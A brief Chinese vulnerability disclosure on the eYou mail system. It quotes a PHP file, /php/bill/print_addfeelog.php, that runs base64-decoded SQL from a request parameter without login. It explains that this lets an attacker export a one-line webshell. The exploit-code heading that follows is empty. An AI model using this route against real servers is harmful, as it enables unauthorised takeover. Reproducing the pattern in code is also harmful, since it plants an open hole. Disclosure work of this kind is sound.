亿邮邮件系统SQL导致批量GetShell（无需登录）

漏洞作者： 路人甲

漏洞文件：/php/bill/print_addfeelog.php

执行任意SQL命令，且不受GPC影响。

默认MYSQL都是有权限导出文件权限的，可以导出一句话后门。

[php]

<?

include("include/config.inc");

include("include/mysql_wrap.php");

include("include/utils.php");

include("include/message.php");

include("common/check_admin.php");

$sql = base64_decode($_REQUEST['all_sql']);

$eyouSql = new eyousql();

$eyouSql->query($sql);

?>

[/php]

利用代码：

[php]
